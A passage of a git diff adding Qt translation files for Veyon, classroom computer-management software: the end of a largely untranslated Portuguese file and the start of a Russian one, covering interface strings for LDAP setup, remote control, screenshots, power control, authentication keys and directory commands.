+ + + group member attribute + + + + Group not found + + + + Could not find a group with the name "%1". Please check the group name or the group tree parameter. + + + + Enter computer name + + + + Please enter a computer host name to query: + + + + Invalid host name + + + + You configured computer host names to be stored as fully qualified domain names (FQDN) but entered a host name without domain. + + + + You configured computer host names to be stored as simple host names without a domain name but entered a host name with a domain name part. + + + + computer objects + + + + computer host name attribute + + + + Enter computer DN + + + + Please enter the DN of a computer whose MAC address to query: + + + + computer MAC addresses + + + + computer MAC address attribute + + + + users + + + + user groups + + + + computer groups + + + + Please enter a user login name whose group memberships to query: + + + + groups of user + + + + user login attribute or group membership attribute + + + + User not found + + + + Could not find a user with the name "%1". Please check the user name or the user tree parameter. + + + + Enter host name + + + + Please enter a computer host name whose group memberships to query: + + + + groups of computer + + + + computer host name attribute or group membership attribute + + + + Computer not found + + + + Could not find a computer with the host name "%1". Please check the host name or the computer tree parameter. + + + + Enter computer IP address + + + + Please enter a computer IP address which to resolve to an computer object: + + + + Host name lookup failed + + + + Could not lookup host name for IP address %1. Please check your DNS server settings. + + + + computers + + + + LDAP %1 test failed + + + + Could not query any entries in configured %1. Please check the %1 parameter. + +%2 + + + + LDAP %1 test successful + + + + The %1 has been queried successfully and %2 entries were found. + + + + Could not query any %1. Please check the %2 parameter or enter the name of an existing object. + +%3 + + + + %1 %2 have been queried successfully: + +%3 + + + + LDAP filter test failed + + + + Could not query any %1 using the configured filter. Please check the LDAP filter for %1. + +%2 + + + + LDAP filter test successful + + + + %1 %2 have been queried successfully using the configured filter. + + + + (only if different from group tree) + + + + Computer group tree + + + + computer group tree + + + + Filter for computers + + + + e.g. room or computerLab + + + + List all members of a computer room + + + + List all computer rooms + + + + Enter computer room name + + + + Please enter the name of a computer room (wildcards allowed): + + + + computer rooms + + + + computer room attribute + + + + Please enter the name of a computer room whose members to query: + + + + computer room members + + + + computer group filter or computer room member aggregation + + + + Computer rooms + + + + Integration tests + + + + Computer room attribute + + + + Aggregate computers in a room via: + + + + Computer groups + + + + Computer room attribute in computer objects + + + + Test not applicable + + + + Computer room name attribute + + + + e.g. name or description + + + + Filter for computer containers + + + + Computer containers or OUs + + + + Please change the computer room settings to use computer groups or computer containers as computer rooms. Then the specified attribute instead of the common name of computer groups or container objects will be queried. Otherwise you don't need to configure this attribute. + + + + Please change the computer room settings below to use computer containers as computer rooms. Otherwise you don't need to configure this filter. + + + + Connection security + + + + TLS certificate verification + + + + System defaults + + + + Never (insecure!) + + + + Custom CA certificate file + + + + None + + + + TLS + + + + SSL + + + + e.g. (objectClass=computer) + + + + e.g. (objectClass=group) + + + + e.g. (objectClass=person) + + + + e.g. (objectClass=room) or (objectClass=computerLab) + + + + e.g. (objectClass=container) or (objectClass=organizationalUnit) + + + + Could not query the configured base DN. Please check the base DN parameter. + +%1 + + + + The LDAP base DN has been queried successfully. The following entries were found: + +%1 + + + + Could not query the base DN via naming contexts. Please check the naming context attribute parameter. + +%1 + + + + Certificate files (*.pem) + + + + Could not connect to the LDAP server. Please check the server parameters. + +%1 + + + + Could not bind to the LDAP server. Please check the server parameters and bind credentials. + +%1 + + + + Encryption protocol + + + + + LdapPlugin + + Auto-configure the base DN via naming context + + + + Query objects from LDAP directory + + + + Show help about command + + + + Commands for configuring and testing LDAP/AD integration + + + + Provide LDAP/AD integration for Veyon + + + + LDAP (load computers and rooms from LDAP/AD) + + + + LDAP (load users and groups from LDAP/AD) + + + + + LicensingConfigurationPage + + Licensing + + + + Installed licenses + + + + Add new network range + + + + Remove selected network range + + + + ID + + + + Feature + + + + Valid until + + + + Licensee + + + + Browse license file + + + + Veyon license files (*.vlf) + + + + Remove license + + + + Do you really want to remove the selected license? + + + + <N/A> + + + + Invalid license file + + + + Could not open the license file for reading! + + + + The selected license file does not contain valid data. + + + + The selected license file could not be verified. + + + + The selected license file is not valid for this installation. + + + + The selected license file is expired. + + + + The license is already installed. + + + + + LicensingPlugin + + Show help for specific command + + + + Show all installed licenses + + + + Add license file + + + + Remove installed license + + + + +USAGE + +%1 add <LICENSE FILE> + + + + + + +USAGE + +%1 remove <LICENSE ID> + + + + + + No certificate found with given ID + + + + <N/A> + + + + Licensing management + + + + Commands for managing license keys + + + + + LinuxPlatformPlugin + + Plugin implementing abstract functions for the Linux platform + + + + + MainToolBar + + Configuration + + + + Disable balloon tooltips + + + + Show icons only + + + + + MainWindow + + MainWindow + Janela Principal + + + toolBar + Barra de Farementas + + + General + + + + &File + + + + &Help + + + + &Quit + + + + Ctrl+Q + + + + Ctrl+S + + + + L&oad settings from file + + + + Ctrl+O + + + + About Qt + + + + Authentication impossible + + + + Configuration not writable + + + + Load settings from file + + + + Save settings to file + + + + Unsaved settings + + + + There are unsaved settings. Quit anyway? + + + + Veyon Configurator + + + + Service + + + + Master + + + + Access control + + + + About Veyon + Acerca de Veyon + + + Auto + + + + Computer rooms + + + + About + Acerca + + + %1 Configurator %2 + + + + JSON files (*.json) + + + + The local configuration backend reported that the configuration is not writable! Please run the %1 Configurator with higher privileges. + + + + No authentication key files were found or your current ones are outdated. Please create new key files using the %1 Configurator. Alternatively set up logon authentication using the %1 Configurator. Otherwise you won't be able to access computers using %1. + + + + Access denied + + + + According to the local configuration you're not allowed to access computers in the network. Please log in with a different account or let your system administrator check the local configuration. + + + + Screenshots + + + + Feature active + + + + The feature "%1" is still active. Please stop it before closing %2. + + + + Reset configuration + + + + Do you really want to reset the local configuration and revert all settings to their defaults? + + + + Search users and computers + + + + Adjust optimal size + + + + Align computers to grid + + + + Use custom computer placement + + + + %1 Configurator + + + + Insufficient privileges + + + + Could not start with administrative privileges. Please make sure a sudo-like program is installed for your desktop environment! The program will be run with normal user privileges. + + + + Only show powered on computers + + + + &Save settings to file + + + + &View + + + + &Standard + + + + &Advanced + + + + + MasterConfigurationPage + + Directories + + + + ... + + + + User configuration + + + + Feature on computer double click: + + + + Automatically switch to current room at start + + + + Features + + + + All features + + + + Disabled features + + + + Perform access control at program start + + + + Screenshots + + + + <no feature> + + + + Automatically adjust computer thumbnail size at start + + + + Basic settings + + + + Behaviour + + + + Enforce selected mode for client computers + + + + Only show current room + + + + Allow adding rooms manually + + + + Hide local computer + + + + Hide empty rooms + + + + Hide computer filter field + + + + Actions such as rebooting or powering down computers + + + + Show confirmation dialog for potential dangerous actions + + + + User interface + + + + Background color + + + + Thumbnail update interval + + + + ms + + + + Program start + + + + Modes and features + + + + User and computer name + + + + Only user name + + + + Only computer name + + + + Computer thumbnail caption + + + + Computer rooms + + + + Automatically open computer rooms widget + + + + Text color + + + + Sort order + + + + Computer and user name + + + + + MonitoringMode + + Monitoring + + + + Builtin monitoring mode + + + + This is the default mode and allows you to monitor all computers in one or more rooms. + + + + + NetworkDiscoveryConfigurationPage + + Network discovery + + + + Mode + + + + Scan network ranges + + + + e.g. 192.168.1.0/24 + + + + Scan all subnets of computer + + + + Scan custom subnet + + + + Scan sessions on local computer + + + + Test + Teste + + + Network ranges + + + + Add new group + + + + Remove selected group + + + + Groups + + + + First address + + + + Last address + + + + Add new network range + + + + Remove selected network range + + + + Parallel scans + + + + Scan timeout + + + + ms + + + + Session scan limit + + + + New group + + + + Options + + + + Reverse lookup discovered IP addresses to host names + + + + + NetworkDiscoveryDirectory + + Scanning... + + + + Discovered computers + + + + + NetworkDiscoveryPlugin + + Show help for specific command + + + + Scan a subnet + + + + +USAGE + +%1 scan [<SUBNET>] + + + + + + Network object directory which automatically discovers computers in the network + + + + Network discovery (scan network for Veyon clients) + + + + Commands for managing the network discovery directory + + + + + NetworkObjectTreeModel + + Room/Computer + + + + + PasswordDialog + + Username + + + + Password + + + + Veyon Logon + + + + Authentication error + + + + Logon failed with given username and password. Please try again! + + + + Please enter your username and password in order to access computers. + + + + + PowerControlFeaturePlugin + + Power on + Ligar + + + Click this button to power on all computers. This way you do not have to power on each computer by hand. + + + + Reboot + Reiniciar + + + Click this button to reboot all computers. + + + + Power down + Desligar + + + Click this button to power down all computers. This way you do not have to power down each computer by hand. + + + + Power on/down or reboot a computer + + + + Confirm reboot + + + + Confirm power down + + + + Do you really want to reboot the selected computers? + + + + Do you really want to power down the selected computer? + + + + Power on a computer via Wake-on-LAN (WOL) + + + + MAC ADDRESS + + + + This command broadcasts a Wake-on-LAN (WOL) packet to the network in order to power on the computer with the given MAC address. + + + + Please specify the command to display help for! + + + + Invalid MAC address specified! + + + + Commands for controlling power status of computers + + + + + RemoteAccessFeaturePlugin + + Remote view + + + + Open a remote view for a computer without interaction. + + + + Remote control + Controlo remoto + + + Open a remote control window for a computer. + + + + Remote access + + + + Remote view or control a computer + + + + Please enter the hostname or IP address of the computer to access: + + + + Show help about command + + + + + RemoteAccessWidget + + %1 - %2 Remote Access + + + + + RemoteAccessWidgetToolBar + + View only + + + + Remote control + Controlo remoto + + + Send shortcut + + + + Fullscreen + + + + Window + Janela + + + Quit + Sair + + + Ctrl+Alt+Del + + + + Ctrl+Esc + + + + Alt+Tab + + + + Alt+F4 + + + + Win+Tab + + + + Win + + + + Menu + + + + Alt+Ctrl+F1 + + + + Connecting %1 + Ligando %1 + + + Connected. + Ligado + + + Screenshot + + + + + RoomSelectionDialog + + Room selection + + + + enter search filter... + + + + + Routing + + Control internet access by modifying routing table + + + + + RoutingConfigurationWidget + + Remove default routes to block internet access + + + + Add custom route to block internet + + + + Destination + + + + Gateway + + + + + RunProgramDialog + + Please enter the programs or commands to run on the selected computer(s). You can separate multiple programs/commands by line. + + + + Run programs + + + + e.g. "C:\Program Files\VideoLAN\VLC\vlc.exe" + + + + + ScreenLockFeaturePlugin + + Lock + + + + Unlock + + + + Lock screen and input devices of a computer + + + + To reclaim all user's full attention you can lock their computers using this button. In this mode all input devices are locked and the screens are blacked. + + + + + Screenshot + + unknown + + + + Could not take a screenshot as directory %1 doesn't exist and couldn't be created. + + + + Screenshot + + + + + ScreenshotFeaturePlugin + + Screenshot + + + + Use this function to take a screenshot of selected computers. + + + + Screenshots taken + + + + Screenshot of %1 computer have been taken successfully. + + + + Take screenshots of computers and save them locally. + + + + + ScreenshotManagementView + + User: + + + + Date: + + + + Time: + + + + Show + + + + Delete + + + + All screenshots taken by you are listed here. You can take screenshots by clicking the "Screenshot" item in the context menu of a computer. The screenshots can be managed using the buttons below. + + + + Computer: + + + + + ServiceConfigurationPage + + General + + + + Autostart + + + + Hide tray icon + + + + Start service + + + + Stopped + + + + Stop service + + + + State: + + + + Enable SAS generation by software (Ctrl+Alt+Del) + + + + Network + + + + Demo server port + + + + Enable firewall exception + + + + Allow connections from localhost only + + + + Internal VNC server port + + + + VNC server + + + + Plugin: + + + + Restart %1 Service + + + + All settings were saved successfully. In order to take effect the %1 service needs to be restarted. Restart it now? + + + + Running + + + + Feature manager port + + + + Primary service port + + + + Enabling this option will make the service launch a server process for every interactive session on a computer. +Typically this is required to support terminal servers. + + + + Multi session support (experimental) + + + + Show notification on remote connection + + + + Show notification on failed authentication attempts + + + + + ServiceControl + + Starting service %1 + + + + Stopping service %1 + + + + Registering service %1 + + + + Unregistering service %1 + + + + Service control + + + + + ServiceControlPlugin + + Service is running + + + + Service is not running + + + + Configure and control Veyon service + + + + Register Veyon Service + + + + Unregister Veyon Service + + + + Start Veyon Service + + + + Stop Veyon Service + + + + Restart Veyon Service + + + + Query status of Veyon Service + + + + Commands for configuring and controlling Veyon Service + + + + + ShellCommandLinePlugin + + Run command file + + + + File "%1" does not exist! + + + + Interactive shell and script execution for Veyon Control + + + + Commands for shell functionalities + + + + + SystemTrayIcon + + System tray icon + + + + + SystemUserGroupsPlugin + + User groups backend for system user groups + + + + Default (system user groups) + + + + + TextMessageDialog + + Send text message + Enviar mensagem de texto + + + Use the field below to type your message which will be sent to all selected users. + + + + + TextMessageFeaturePlugin + + Text message + Mensagem de texto + + + Use this function to send a text message to all users e.g. to assign them new tasks. + + + + Message from teacher + + + + Send a message to a user + + + + + UltraVncConfigurationWidget + + Enable capturing of layered (semi-transparent) windows + + + + Poll full screen (leave this enabled per default) + + + + Low accuracy (turbo mode) + + + + Builtin UltraVNC server configuration + + + + Enable multi monitor support + + + + Enable Desktop Duplication Engine on Windows 8 and newer + + + + + UserConfig + + No write access + + + + Could not save your personal settings! Please check the user configuration file path using the %1 Configurator. + + + + + UserSessionControl + + User session control + + + + Click this button to logout users from all computers. + + + + Confirm user logout + + + + Do you really want to logout the selected users? + + + + Logout + + + + + VeyonCore + + [OK] + + + + [FAIL] + + + + Invalid command! + + + + Available commands: + + + + Invalid arguments given + + + + Not enough arguments given - use "%1 help" for more information + + + + Unknown result! + + + + Available modules: + + + + No module specified or module not found - available modules are: + + + + Plugin not licensed + + + + INFO + + + + ERROR + + + + licensed for + + + + + VeyonServiceControl + + Veyon Service + + + + + VncView + + Establishing connection to %1 ... + + + + + WindowsPlatformPlugin + + Plugin implementing abstract functions for the Windows platform + + + + + WindowsServiceControl + + WindowsServiceControl: the service "%1" is already installed. + + + + WindowsServiceControl: the service "%1" could not be installed. + + + + WindowsServiceControl: the service "%1" has been installed successfully. + + + + WindowsServiceControl: the service "%1" could not be uninstalled. + + + + WindowsServiceControl: the service "%1" has been uninstalled successfully. + + + + WindowsServiceControl: the start type of service "%1" could not be changed. + + + + WindowsServiceControl: service "%1" could not be found. + + + + + X11VncConfigurationWidget + + Builtin x11vnc server configuration + + + + Custom x11vnc parameters: + + + + Do not use X Damage extension + + + + \ No newline at end of file diff --git a/translations/ru.ts b/translations/ru.ts new file mode 100644 index 0000000..eab97e5 --- /dev/null +++ b/translations/ru.ts @@ -0,0 +1,3927 @@ + + + AboutDialog + + About + О программе + + + Translation + Перевод + + + License + Лицензия + + + About Veyon + О программе Veyon + + + Contributors + Авторы + + + Version: + Версия: + + + Website: + Веб-сайт: + + + Current language not translated yet (or native English). + +If you're interested in translating Veyon into your local or another language or want to improve an existing translation, please contact a Veyon developer! + Перевод на данный язык ещё не осуществлён. + +Если Вы желаете добавить перевод программы Veyon на новый язык или улучшить уже существующий, пожалуйста, свяжитесь с разработчиками Veyon! + + + About %1 %2 + О программе %1 %2 + + + Support Veyon project with a donation + Поддержите проект Veyon пожертвованием + + + + AccessControlPage + + Computer access control + Контроль доступа к компьютеру + + + Grant access to every authenticated user (default) + Предоставлять доступ каждому аутентифицированному пользователю (по умолчанию) + + + Test + Тестировать + + + Restrict access to members of certain user groups + Ограничить доступ членам определенных групп пользователей + + + Process access control rules + Правила контроля доступа к процессу + + + User groups authorized for computer access + Группы пользователей, разрешенные для доступа к компьютеру + + + Please add the groups whose members should be authorized to access computers in your Veyon network. + Добавьте группы, участники которых должны иметь право доступа к компьютерам в вашей сети Veyon. + + + Authorized user groups + Разрешенные группы пользователей + + + All groups + Все группы + + + ... + ... + + + Access control rules + Правила контроля доступа + + + Add access control rule + Добавить правило контроля доступа + + + Remove access control rule + Удалить правило контроля доступа + + + Move selected rule down + Переместить выделенное правило вниз + + + Move selected rule up + Переместить выделенное правило вверх + + + Edit selected rule + Редактировать выделенное правило + + + Enter username + Введите имя пользователя + + + Please enter a user login name whose access permissions to test: + Введите имя пользователя для входа в систему, чтобы протестировать права доступа: + + + Access allowed + Доступ разрешен + + + The specified user is allowed to access computers with this configuration. + Указанному пользователю разрешено обращаться к компьютерам с этой конфигурацией. + + + Access denied + Доступ запрещён + + + The specified user is not allowed to access computers with this configuration. + Указанному пользователю не разрешается обращаться к компьютерам с этой конфигурацией. + + + Enable usage of domain groups + Включить использование доменных групп + + + User groups backend: + Группы пользователей: + + + Missing user groups backend + Отсутствующие группы пользователей + + + No default user groups plugin was found. Please check your installation! + Не был найден плагин по умолчанию для пользовательских групп. Проверьте свою установку! + + + + AccessControlRuleEditDialog + + Edit access control rule + Изменить правило контроля доступа + + + General + Главное + + + enter a short name for the rule here + Введите здесь короткое название правила + + + Rule name: + Название правила: + + + enter a description for the rule here + Введите здесь описание правила + + + Rule description: + Описание правила: + + + Invert all conditions ("is/has" interpreted as "is/has not") + Инвертировать все условия («быть / иметь» интерпретируется как «не быть / не иметь») + + + Conditions + Условия + + + is member of group + является членом группы + + + is located in room + расположен в классе + + + Accessing computer is localhost + Доступ к компьютеру как localhost + + + Accessing user is logged on user + Доступ к пользователю осуществляется пользователем + + + Accessing user is already connected + Доступ к пользователю уже подключен + + + If more than one condition is activated each condition has to meet in order to make the rule apply (logical AND). If only one of multiple conditions has to meet (logical OR) please create multiple access control rules. + Если активировано более одного условия, каждое условие должно соответствовать для применения правила (логическое И). Если требуется только одно из нескольких условий (логическое ИЛИ), создайте несколько правил контроля доступа. + + + Action + Действие + + + Allow access + Разрешить доступ + + + Deny access + Запретить доступ + + + Ask logged on user for permission + Запросить у вошедшего пользователя полномочия + + + None (rule disabled) + Нет (правило отключено) + + + Accessing user + Доступ к пользователю + + + Accessing computer + Доступ к компьютеру + + + Local (logged on) user + Локальный (вошедший в систему) пользователь + + + Local computer + Локальный компьютер + + + Always process rule and ignore conditions + Всегда обрабатывать правило и игнорировать условия + + + No user logged on + Пользователь не вошел + + + Accessing computer is located in the same room as local computer + Доступ к компьютеру, находящемуся в том же классе, что и локальный компьютер + + + Accessing user has one or more groups in common with local (logged on) user + Доступ к пользователю имеет одна или несколько групп, совместно с локальным пользователем (вошедшим в систему) + + + + AccessControlRulesTestDialog + + Access control rules test + Проверка правил контроля доступа + + + Accessing user: + Доступ к пользователю: + + + Local computer: + Локальный компьютер: + + + Accessing computer: + Доступ к компьютеру: + + + Please enter the following user and computer information in order to test the configured ruleset. + Пожалуйста, введите следующую информацию о пользователе и компьютере, чтобы проверить настроенный набор правил. + + + Local user: + Локальный пользователь: + + + Connected users: + Подключенные пользователи: + + + The access in the given scenario is allowed. + Доступ в данном сценарии разрешен. + + + The access in the given scenario is denied. + Доступ в данном сценарии отклонен. + + + The access in the given scenario needs permission of the logged on user. + Доступ в данном сценарии требует разрешения зарегистрированного пользователя. + + + ERROR: Unknown action + ОШИБКА: Неизвестное действие + + + Test result + Результат испытаний + + + + AuthKeysConfigurationPage + + Authentication keys + Ключи аутентификации + + + Introduction + Вступление + + + Key file directories + Файловый каталог с ключами + + + Public key file base directory + Каталог, содержащий открытые ключи + + + Private key file base directory + Каталог, содержащий закрытые ключи + + + ... + ... + + + Available authentication keys + Доступные ключи аутентификации + + + Create key pair + Создать ключевую пару + + + Delete key + Удалить ключ + + + Import key + Импорт ключа + + + Export key + Экспорт ключа + + + Set access group + Установить группу доступа + + + Key files (*.pem) + Ключевые файлы (*.pem) + + + Authentication key name + Имя ключа аутентификации + + + Please enter the name of the user group or role for which to create an authentication key pair: + Введите имя группы пользователей или роли, для которой необходимо создать ключевую пару аутентификации: + + + Do you really want to delete authentication key "%1/%2"? + Вы действительно хотите удалить ключ аутентификации «%1/%2»? + + + Please select a key to delete! + Выберите ключ для удаления! + + + Please enter the name of the user group or role for which to import the authentication key: + Введите имя группы пользователей или роли, для которой необходимо импортировать ключ аутентификации: + + + Please select a key to export! + Выберите ключ для экспорта! + + + Please select a user group which to grant access to key "%1": + Выберите группу пользователей, которая предоставит доступ к ключу «%1»: + + + Please select a key which to set the access group for! + Выберите ключ, для которого необходимо установить группу доступа! + + + Please perform the following steps to set up key file authentication: + Для настройки проверки подлинности ключа выполните следующие действия: + + + 1) Create a key pair on the master computer. + 1) Создайте ключевую пару на главном компьютере. + + + 2) Set an access group whose members should be allowed to access other computers. + 2) Установите группу доступа, члены которой должны иметь доступ к другим компьютерам. + + + 3) Export the public key and import it on all client computers with the same name. + 3) Экспортируйте открытый ключ и импортируйте его на всех клиентских компьютерах с тем же именем. + + + Please refer to the <a href="https://veyon.readthedocs.io/en/latest/admin/index.html">Veyon Administrator Manual</a> for more information. + Дополнительную информацию см.<a href="https://veyon.readthedocs.io/en/latest/admin/index.html">В Руководстве администратора Veyon</a>. + + + An authentication key pair consist of two coupled cryptographic keys, a private and a public key. +A private key allows users on the master computer to access client computers. +It is important that only authorized users have read access to the private key file. +The public key is used on client computers to authenticate incoming connection request. + Ключевая пара аутентификации состоит из двух связанных криптографических ключей, частного и открытого ключа. +Закрытый ключ позволяет пользователям на главном компьютере обращаться к клиентским компьютерам. +Важно, чтобы только авторизованные пользователи имели доступ к чтению в файл закрытого ключа. +Открытый ключ используется на клиентских компьютерах для аутентификации входящего запроса на соединение. + + + + AuthKeysManager + + Please check your permissions. + Пожалуйста, проверьте свои права доступа. + + + Key name contains invalid characters! + Имя ключа содержит недопустимые символы! + + + Invalid key type specified! Please specify "%1" or "%2". + Указан недопустимый тип ключа! Укажите «%1» или «%2». + + + Specified key does not exist! Please use the "list" command to list all installed keys. + Указанный ключ не существует! Пожалуйста, используйте команду «list», чтобы перечислить все установленные ключи. + + + One or more key files already exist! Please delete them using the "delete" command. + Один или несколько ключевых файлов уже существуют! Удалите их, используя команду «удалить». + + + Creating new key pair for "%1" + Создание новой ключевой пары для «%1» + + + Failed to create public or private key! + Не удалось создать открытый или закрытый ключ! + + + Newly created key pair has been saved to "%1" and "%2". + Вновь созданная пара ключей была сохранена в "%1" и "%2". + + + Could not remove key file "%1"! + Не удалось удалить файл ключа "%1"! + + + Could not remove key file directory "%1"! + Не удалось удалить каталог файла ключа "%1"! + + + Failed to create directory for output file. + Не удалось создать каталог для файла вывода данных. + + + File "%1" already exists. + Файл "%1" уже существует. + + + Failed to write output file. + Не удалось выполнить запись в файл вывода. + + + Key "%1/%2" has been exported to "%3" successfully. + Ключ "%1/%2" был успешно экспортирован в "%3". + + + Failed read input file. + Не удалось прочитать файл входных данных. + + + File "%1" does not contain a valid private key! + В файле "%1" не содержится корректного закрытого ключа! + + + File "%1" does not contain a valid public key! + В файле "%1" не содержится корректного открытого ключа! + + + Failed to create directory for key file. + Не удалось создать каталог для файла ключа. + + + Failed to write key file "%1". + Не удалось записать файл ключа "%1". + + + Failed to set permissions for key file "%1"! + Не удалось установить права доступа к файлу ключа "%1"! + + + Key "%1/%2" has been imported successfully. Please check file permissions of "%3" in order to prevent unauthorized accesses. + Ключ "%1/%2» был успешно импортирован. Пожалуйста, проверьте права доступа к файлу "%3», чтобы предотвратить неуполномоченный доступ. + + + Failed to convert private key to public key + Не удалось превратить закрытый ключ в открытый + + + Failed to create directory for private key file "%1". + Не удалось создать каталог файла закрытого ключа "%1". + + + Failed to save private key in file "%1"! + Не удалось сохранить закрытый ключ в файл "%1"! + + + Failed to set permissions for private key file "%1"! + Не удалось установить права доступа к файлу закрытого ключа "%1"! + + + Failed to create directory for public key file "%1". + Не удалось создать каталог для файла открытого ключа "%1". + + + Failed to save public key in file "%1"! + Не удалось сохранить открытый ключ в файл "%1"! + + + Failed to set permissions for public key file "%1"! + Не удалось установить права доступа к файлу открытого ключа "%1"! + + + Failed to set owner of key file "%1" to "%2". + Не удалось установить владельца файла ключа "%1" в значение "%2". + + + Failed to set permissions for key file "%1". + Не удалось установить права доступа к файлу ключа "%1". + + + Key "%1" is now accessible by user group "%2". + Ключ "%1" теперь доступен для группы пользователей "%2". + + + <N/A> + <н/д> + + + Failed to read key file. + Не удалось прочитать файл ключа. + + + + AuthKeysPlugin + + Create new authentication key pair + Создать новую пару ключей для аутентификации + + + Delete authentication key + Удалить ключ аутентификации + + + List authentication keys + Вывести список ключей аутентификации + + + Import public or private key + Импортировать открытый или закрытый ключ + + + Export public or private key + Экспортировать открытый или закрытый ключ + + + Extract public key from existing private key + Добыть открытый ключ из имеющегося закрытого ключа + + + Set user group allowed to access a key + Установить группу пользователей, которые будут иметь доступ к ключу + + + KEY + КЛЮЧ + + + ACCESS GROUP + ГРУППА ДОСТУПА + + + This command adjusts file access permissions to <KEY> such that only the user group <ACCESS GROUP> has read access to it. + Эта команда корректирует права доступа к файлу <КЛЮЧ> так, что право на чтение этого файла получают только участники группы <ГРУППА ДОСТУПА>. + + + NAME + ИМЯ + + + This command creates a new authentication key pair with name <NAME> and saves private and public key to the configured key directories. + Эта команда создаёт новую пару ключей для распознавания под названием <ИМЯ> и сохраняет закрытый и открытый ключи в настроенных каталогах ключей. + + + This command deletes the authentication key <KEY> from the configured key directory. Please note that a key can't be recovered once deleted. + Эта команда удаляет ключ аутентификации <КЛЮЧ> из настроенного каталога ключей. Пожалуйста, обратите внимание, что после удаления ключ нельзя будет восстановить. + + + FILE + ФАЙЛ + + + This command exports the authentication key <KEY> to <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + Эта команда экспортирует ключ аутентификации <КЛЮЧ> в файл <ФАЙЛ>. Если файл <ФАЙЛ> не указан, то его название будет построено на основе данных о названии и типе ключа <КЛЮЧ>. + + + This command imports the authentication key <KEY> from <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + Эта команда импортирует ключ аутентификации <КЛЮЧ> из файла <файл> Если файл <ФАЙЛ> не указан, то его название будет построено на основе данных о названии и типе ключа <КЛЮЧ>. + + + This command lists all available authentication keys in the configured key directory. If the option "%1" is specified a table with key details will be displayed instead. Some details might be missing if a key is not accessible e.g. due to the lack of read permissions. + Эта команда выводит список всех ключей аутентификации в настроенном каталоге ключей. Если выбрана опция "%1", то вместо списка будет выведена таблица с подробностями про ключи. Некоторые параметры ключа могут быть не показаны, если доступ к ключу ограничен, например из-за нехватки прав на чтение файла ключа. + + + This command extracts the public key part from the private key <KEY> and saves it as the corresponding public key. + Эта команда добывает часть, связанную с открытым ключом, из закрытого ключа <КЛЮЧ> и сохраняет её в соответствующий файла открытого ключа. + + + Please specify the command to display help for! + Пожалуйста, укажите команду, для которой следует показать справку! + + + TYPE + ТИП + + + PAIR ID + ИД ПАРЫ + + + Command line support for managing authentication keys + Поддержка управления ключами аутентификации в командной строке + + + Commands for managing authentication keys + Команды для управления ключами аутентификации + + + + AuthKeysTableModel + + Name + Имя + + + Type + Тип + + + Access group + Группа доступа + + + Pair ID + Ид. пары + + + + BuiltinDirectoryConfigurationPage + + Rooms & computers + Классы и компьютеры + + + Rooms + Классы + + + Computers + Компьютеры + + + Name + Имя + + + Host address/IP + Адрес хоста/IP + + + MAC address + MAC-адрес + + + Add new room + Добавить новый класс + + + Remove selected room + Удалить выделенный класс + + + Add new computer + Добавить новый компьютер + + + Remove selected computer + Удалить выбранный компьютер + + + New room + Новый класс + + + New computer + Новый компьютер + + + Builtin directory + Встроенный каталог + + + + BuiltinDirectoryPlugin + + Show help for specific command + Показать справку по определённой команде + + + Add a room or computer + Добавить класс или компьютер + + + Clear all rooms and computers + Удалить все записи классов и компьютеров + + + Dump all or individual rooms and computers + Создать дамп всех или отдельных классов и компьютеров + + + List all rooms and computers + Вывести список всех классов и компьютеров + + + Remove a room or computer + Удалить класс или компьютер + + + Import objects from given file + Импортировать объекты из указанного файла + + + Export objects to given file + Экспортировать объекты в указанный файл + + + Invalid type specified. Valid values are "%1" or "%2". + Указан некорректный тип. Корректными являются значения "%1" и "%2". + + + Type + Тип + + + Name + Имя + + + Host address + Адрес хоста + + + MAC address + MAC-адрес + + + Specified object not found. + Указанного объекта не найдено. + + + File "%1" does not exist! + Файла "%1" не существует! + + + Can't open file "%1" for reading! + Не удалось открыть файл "%1" для чтения! + + + Unknown argument "%1". + Неизвестный аргумент "%1". + + + Room "%1" + Класс "%1" + + + Computer "%1" (host address: "%2" MAC address: "%3") + Компьютер "%1" (адрес хоста: "%2" MAC-адрес: "%3") + + + Unclassified object "%1" with ID "%2" + Неклассифицированный объект "%1" с идентификатором "%2" + + + None + Нет + + + Room + Класс + + + Computer + Компьютер + + + Root + Корень + + + Invalid + Некорректный + + + Error while parsing line %1. + Ошибка при обработке строки %1. + + + Network object directory which stores objects in local configuration + Каталог объектов сети, где хранятся объекты в локальной конфигурации + + + Builtin (computers and rooms in local configuration) + Встроенное (компьютеры и классы в локальных настройках) + + + Commands for managing the builtin network object directory + Команды для управления каталогом встроенных объектов сети + + + No format string or regular expression specified! + Нет строки форматирования или не указано регулярное выражение! + + + Can't open file "%1" for writing! + Не удалось открыть файл "%1" для записи! + + + No format string specified! + Не указано строки формата! + + + +USAGE + +%1 export <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Export all objects to a CSV file: + + %1 export objects.csv format "%type%;%name%;%host%;%mac%" + +* Export all computers in a room to a CSV file: + + %1 export computers.csv room "Room 01" format "%name%;%host%;%mac%" + + + +ИСПОЛЬЗОВАНИЕ + +%1 export <ФАЙЛ> [room <КЛАСС>] [format <СТРОКА ФОРМАТИРОВАНИЯ С ПЕРЕМЕННЫМИ>] + +Возможные переменные: %type% %name% %host% %mac% %room% + +примеры: + +* Экспортировать все объекты в файл CSV: + +%1 export objects.csv format "%type%;%name%;%host%;%mac%" + +* Экспортировать все записи компьютеров в классе в файл CSV: + +%1 export computers.csv room "Класс 01" format "%name%;%host%;%mac%" + + + + +USAGE + +%1 add <TYPE> <NAME> [<HOST ADDRESS> <MAC ADDRESS> <PARENT>] + +Adds an object where TYPE can be one of "%2" or "%3". PARENT can be specified by name or UUID. + +Examples: + +* Add a room: + + %1 add room "Room 01" + +* Add a computer to room "Room 01": + + %1 add computer "Computer 01" comp01.example.com 11:22:33:44:55:66 "Room 01" + + + +ИСПОЛЬЗОВАНИЕ + +%1 add <ТИП> <ИМЯ> [<ИМЯ ХОСТА> <МАК АДРЕС> <РОДИТЕЛЬ>] + +Добавляет объект, где ТИП может иметь значение "%2" или "%3". РОДИТЕЛЬ можно указать по названию или UUID. + +примеры: + +* Добавить класс: + +%1 add room "Класс 01" + +* Добавить компьютер к классу "Класс 01": + +%1 add computer "Компьютер 01" comp01.example.com 11:22:33:44:55:66 "Класс 01" + + + + +USAGE + +%1 remove <OBJECT> + +Removes the specified object from the directory. OBJECT can be specified by name or UUID. Removing a room will also remove all computers inside. + +Examples: + +* Remove a computer by name: + + %1 remove "Computer 01" + +* Remove an object by UUID: + + 